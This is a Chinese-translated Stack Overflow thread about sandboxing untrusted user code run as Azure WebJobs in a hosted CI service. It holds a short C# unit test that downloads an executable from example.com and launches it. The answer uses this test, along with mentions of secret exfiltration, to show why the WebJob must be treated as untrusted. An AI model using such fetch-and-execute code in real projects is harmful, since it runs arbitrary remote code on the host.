【问题标题】:How to secure azure webjob code execution?如何保护 azure webjob 代码执行?
【发布时间】:2015-08-08 16:56:03
【问题描述】:

我正在构建一个允许用户执行 msbuild 脚本和可执行文件(nunit、nuget、vs-test 等)的产品。这是一个托管的持续集成服务。这些任务在 azure webjob 的上下文中运行。如何防止用户运行恶意代码?

我们不允许用户直接运行可执行文件,但他们可以通过单元测试或 msbuild 脚本运行任何他们想要的东西。我能做些什么来防止他们损害我的网络作业或运行“坏”的前任吗?

【问题讨论】:

    标签: security azure msbuild azure-webjobs


    【解决方案1】:

    我不确定您正在寻找的这个问题的范围是什么。但我认为一般来说没有一种简单的方法可以做到这一点,具体到 WebJobs。它必须是您在系统设计中注意的事项。

    我们不允许用户直接运行可执行文件

    这不是真的。如果您正在运行用户代码,则不能再假设这一点。没有什么能阻止我编写这样的单元测试,对吧?

    [Test]
    public static RunRandomExe()
    {
        var webClient = new WebClient();
        webClient.DownloadFile("http://example.com/random.exe", @"%temp%\random.exe");
        Process.Start(@"%temp%\random.exe");
    }
    

    如果您在应用程序设置或环境变量中有秘密,则没有什么可以阻止单元测试读取它们并将它们发送到随机 URL。

    您能做的最好的事情就是以这样一种方式设计您的系统,即假定 WebJob 是完全不受信任的。您必须假设您在 AppSettings、环境变量、文件系统等中放置的任何秘密都可以被 WebJob 访问。 WebJob 留下的任何工件都可以在后续运行中访问,并且 WebJob 对机器所做的更改将影响后续的 WebJobs 等等。哎呀,单元测试可以在机器上创建另一个可以运行并完全监控的 WebJob/接管您的网站。

    不过,好消息是 Azure Web 应用保证独立的 Web 应用彼此完全隔离,并在非常严密的沙盒环境中运行,即使它们在同一个物理 VM 上运行(即:在同一个应用服务计划中)

    如果你:

    1. 创建网站
    2. 运行网络作业
    3. 删除网站

    您将确保不会留下任何影响您的系统的东西。

    这当然不能解决让 WebJob 访问机密的问题。唯一的解决方案是不让 WebJob 访问机密。将整个事情视为不可信。因此,您可以拥有一个为您运行作业的站点池,您触发作业运行,仅信任作业的原始日志输出,然后从池中删除站点并创建网站的替代品。在主订阅的站点中运行不受信任的代码的一个主要问题是,您将授予不受信任的代码访问从 Azure 门户上传到订阅的任何证书。因此,您必须在完全独立订阅的网站中运行这些不受信任的内容。

    我知道这很麻烦,但我想不出任何其他方法可以保证您的系统和用户的安全。如果您要运行不受信任的代码,您将进入一个复杂的世界。

    希望对你有帮助。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2022-08-02
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多